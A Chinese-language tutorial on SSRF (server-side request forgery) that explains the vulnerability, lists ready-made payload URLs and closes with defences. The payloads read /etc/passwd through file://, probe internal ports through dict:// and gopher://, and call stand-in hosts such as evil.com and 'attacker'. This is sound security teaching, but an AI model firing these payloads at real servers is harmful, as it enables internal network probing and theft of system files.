SSRF漏洞
概述
SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF 攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)
SSRF原理
SSRF 的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
例如,黑客操作服务端从指定 URL 地址获取网页文本内容,加载指定地址的图片等利用的是服务端的请求伪造。SSRF 利用存在缺陷的 Web 应用作为代理攻击远程和本地的服务器。
主要攻击方式如下
对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息。
攻击运行在内网或本地的应用程序。
对内网 Web 应用进行指纹识别,识别企业内部的资产信息。
攻击内外网的 Web 应用,主要是使用 HTTP GET 请求就可以实现的攻击(比如 struts2、SQli 等)。
利用 file 协议读取本地文件等
SSRF漏洞代码分析
url 没有任何过滤传入,php 中的 curl 是 http 请求能访问远程页面

SSRF漏洞攻击
SSRF 支持很多协议所以漏洞利用的方法有挺多的
1、http协议
能进行内网端口探测-可以通过返回的时间和长度判断端口的开放

根据 baner 的信息获取内网

2、file协议读取文件
http://192.168.0.103/06/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd

3、dict协议内网扫描
能进行内网端口的探测-可以探测到具体的版本号等等信息。
http://192.168.0.103/06/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306

4、gopher协议
能进行内网端口的探测-可以发送 get 或者来攻击内网的 redis 等服务。
http://192.168.0.103/06/vul/ssrf/ssrf_curl.php?url=gopher://127.0.0.1:3306

SSRF支持的协议
ftp
ssrf.php?url=ftp://evil.com:12345/TEST
file://
ssrf.php?url=file:///etc/password
Dict://
dict://user-auth>@<host:
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:3306
SSRF漏洞防御方案
1.禁止跳转
2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果 web 应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
3.禁用不需要的协议,仅仅允许 http 和 https 请求。可以防止类似于 file://, gopher://, ftp:// 等引起的问题
4.设置 URL 白名单或者限制内网 IP(使用 gethostbyname()判断是否为内网 IP)
5.限制请求的端口为 http 常用的端口,比如 80、443、8080、8090
6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态
更新: 2025-05-05 13:59:29
原文: https://www.yuque.com/yuhui.net/network/zmpl2gzph9lffkql

评论(0)
暂无评论